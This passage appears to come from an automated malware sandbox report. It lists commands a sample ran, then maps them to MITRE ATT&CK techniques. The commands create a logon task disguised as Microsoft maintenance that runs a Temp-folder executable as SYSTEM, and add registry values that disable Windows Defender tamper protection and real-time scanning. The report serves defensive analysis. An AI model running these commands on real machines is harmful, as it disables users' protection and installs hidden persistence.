  schtasks /create /tn "Microsoft\Windows\SystemMaintenance" /tr "C:\Users\Admin\AppData\Local\Temp\w1319\s.exe" /sc onlogon /ru system /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4320
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:4304
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
  2⤵
  PID:4532
- C:\Windows\system32\timeout.exe
  timeout /t 3
  2⤵
  - Delays execution with timeout.exe
  PID:3368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry